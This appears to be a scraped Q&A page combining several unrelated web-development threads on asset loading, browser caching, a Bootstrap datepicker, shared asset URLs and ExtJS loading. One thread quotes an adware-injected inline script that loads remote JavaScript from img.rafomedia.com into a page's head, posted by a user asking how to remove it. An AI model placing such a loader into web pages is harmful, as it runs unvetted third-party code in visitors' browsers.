I came across the following index.html page in which i didn't find any custom assets, such as js and css files. The assets path is as follows
I am not able to find where we have included assets/css/custom/.css assets/js/custom/.js files.
Is there a way to hide these css and js file from html code?
<!DOCTYPE html>
<html ng-app="App">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Where passion meets potential</title>
</head>
<body>
<!-- start of loading jquery -->
<script src="assets/js/vendor/jquery/jquery.min.js"></script>
<script src="assets/js/vendor/lazyload/lazyload.js"></script>
<!-- Loading angular and angular route via CDN -->
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.3.15/angular.min.js"></script>
<script src="//cdn.firebase.com/js/client/2.2.4/firebase.js"></script>
<script src="//cdn.firebase.com/libs/angularfire/1.2.0/angularfire.min.js"></script>
<script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.25/angular-route.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/ngStorage/0.3.6/ngStorage.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/angular-filter/0.5.8/angular-filter.min.js"></script>
<!-- Loading Angular Controller -->
<script src="controller.js"></script>
<!-- using lazyload to load our dependencies programatically -->
<script src="assets/js/vendor/lazyload/application-css.js"></script>
<script src="assets/js/vendor/lazyload/application-js.js"></script>
<!-- Main Content -->
<div id="main">
<!-- angular template injection-->
<div ng-view></div>
</div>
<!-- END Content -->
</body>
</html>
Just read the comments. A library called lazyload is used to load all dependencies, probably from the folders you named.
<!-- using lazyload to load our dependencies programatically -->
<script src="assets/js/vendor/lazyload/application-css.js"></script>
<script src="assets/js/vendor/lazyload/application-js.js"></script>
I don't know how it works exactly but I assume it will add the lazily loaded files somewhere to the DOM. The client will always be able to find those resources somehow (e.g. the network tab of chrome devtools).
The files in the code above will probably contain information about how it works for your project.
Related
I am observing a strange behaviour. I have some HTML/JS files. I am using SimpleServer as web server. I notice that the latest version of one particular file is not uploaded even after I change that file. When I inspect the file using browser's developer tools, I still see old code. What could be the reason?
The file in SpecHelper.js. It is included in index.html as follows
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Jasmine Spec Runner v2.3.4</title>
<link rel="shortcut icon" type="image/png" href="lib/jasmine-2.3.4/jasmine_favicon.png">
<link rel="stylesheet" type="text/css" href="lib/jasmine-2.3.4/jasmine.css">
<!-- App Dependencies -->
<script src="lib/jquery-2.1.4.js"></script>
<script src="/vendor.js"></script>
<!-- Test libraries -->
<script type="text/javascript" src="lib/jasmine-2.3.4/jasmine.js"></script>
<script type="text/javascript" src="lib/jasmine-2.3.4/jasmine-html.js"></script>
<script type="text/javascript" src="lib/jasmine-2.3.4/boot.js"></script>
<!-- include source files here... -->
<script type="text/javascript" src="/app.js"></script>
<!-- include spec files here... -->
<script type="text/javascript" src="SpecHelper.js"></script>
<script type="text/javascript" src="app_spec.js"></script>
</head>
<body>
<p>test </p>
</body>
</html>
If I change index.html or app_spec.js, I can see the changes but if I change SpecHelper.js, I still see the old code! I am debugging SpecHelper.js and this is not helping!
In case of Google Chrome browser: did you try chrome's "empty cache and hard reload" option after right-clicking to the refresh button with opened dev tools window?
You should try to open the page in an incognito or private browser window too.
I am writing a webapplication and when I look to the source code in my chrome browser, I find the following script in my header:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap-yeti.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
<script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://img.rafomedia.com/zr/js/adrns.js?20150807";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
This is what I uploaded:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Test</title>
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="css/bootstrap-yeti.min.css">
<!-- Latest compiled and minified JavaScript -->
<script src="js/jquery.min.js"></script>
<script src="js/bootstrap.min.js"></script>
</head>
It this a harmful script? What does it do and how can I remove this? Googling http://img.rafomedia.com/zr/js/adrns.js does not learn me a lot about this issue...
I've had this problem exactly. This script will appear in <head> tag on any website and generate lots of ads.
uninstall iSafe***.exe or yac(yet another cleaner) from you computer will solve your problem.
I need to add datepicker in my form. I want to use jquery with bootstrap. For the purpose, I googled and got free jquery plugins here. Now I am unable to get the functionality.
I am novice to bootstrap.
Please help me.
html code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Bootstrap 101 Template</title>
<!-- Bootstrap -->
<link href="css/bootstrap.min.css" rel="stylesheet">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div class="input-append date datepicker" id="dp3" data-date="12-02-2012" data-date-format="dd-mm-yyyy">
<input class="span2" size="16" type="text" value="12-02-2012" />
</div>
<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="js/google-code-prettify/prettify.js"></script>
<script src="js/jquery.js"></script>
<script src="js/bootstrap-datepicker.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="js/bootstrap.min.js"></script>
<script type="text/javascript">
$(function () {
$('.datepicker').datepicker();
});
</script>
</body>
</html>
There are plugins to do this which are adapted to work just fine with bootstrap like datepicker - Demo. Repository here.They even add snippets and are well documented.
I personally use the Bootstrap twitter datepicker plugin. It's relatively easy to setup and is one of the best looking pickers out there IMHO, also the possible customization is great.
This is the tutorial i used to set it up: http://develop.alpdesigns.ch/pages/other/bootstrap-datepicker.html
You can also use the bootstrap libs to theme your whole form like the plugin http://getbootstrap.com/components/
I have creatd a solution in Visual Studio 2013 which comprises two web application projects Core.Web and App.Web. Core.Web uses the url web.core.dev. App.Web uses the url web.app.dev.
Core.Web contains several javascript and css files that can be shared between projects. App.Web references these javascript files. App.Web may have an html file like
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>App1.Web</title>
<!-- core javascript -->
<script src="//web.core.dev/Javascript/Common.js" type="text/javascript"></script>
<script src="//web.core.dev/Javascript/Ticker.js" type="text/javascript"></script>
<!-- local javascript -->
<script src="index.js" type="text/javascript"></script>
<!-- core css -->
<link href="//web.core.dev/Style/Reset.css" rel="stylesheet" type="text/css" />
<link href="//web.core.dev/Style/Global.css" rel="stylesheet" type="text/css" />
<!-- local css -->
<link href="index.css" rel="stylesheet" type="text/css" />
</head>
<body>
...
</body>
</html>
This works fine locally. But when I come to publish live these links will not work unless I change them manually (web.core.dev changed to core.mywebsite.com). I would like to be able to publish the project and not have to worry about changing the local hrefs to live hrefs.
Is there a standard strategy that allows the domains to be changed depending on where they are published? A strategy that works for both .aspx and .html files?
When I run the below page which is just HTML one with extjs files, after loading I inspect Firebug, so in in Firebug under "net" shows all requests which are a total of 5...but the problem is that ext-all-debug.js is loaded twice but the other JS and CSS are loaded once...I am just wondering as why it is loaded twice...pls check below code and advise me..
thanks in advance....
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title id='title'>HTML Page setup Tutorial</title>
<!-- ** CSS ** -->
<!-- base library -->
<link rel="stylesheet" type="text/css" href="extjs/css/ext-all.css" />
<!-- overrides to base library -->
<!-- ** Javascript ** -->
<!-- ExtJS library: base/adapter -->
<script type="text/javascript" src="extjs/bootstrap.js"></script>
<!-- ExtJS library: all widgets -->
<script type="text/javascript" src="extjs/ext-all-debug.js"></script>
<!-- overrides to library -->
<!-- extensions -->
<!-- page specific -->
</head>
<body>
</body>
</html>
If you include bootstrap.js, it will automatically load the Ext-Libraries.
If you are local (that means, localhost, any IP-adress or file://
url) this is ext-all-debug.js.
ext-all.js otherwise.
Just use bootstrap.js or ext-all-debug.js exclusively.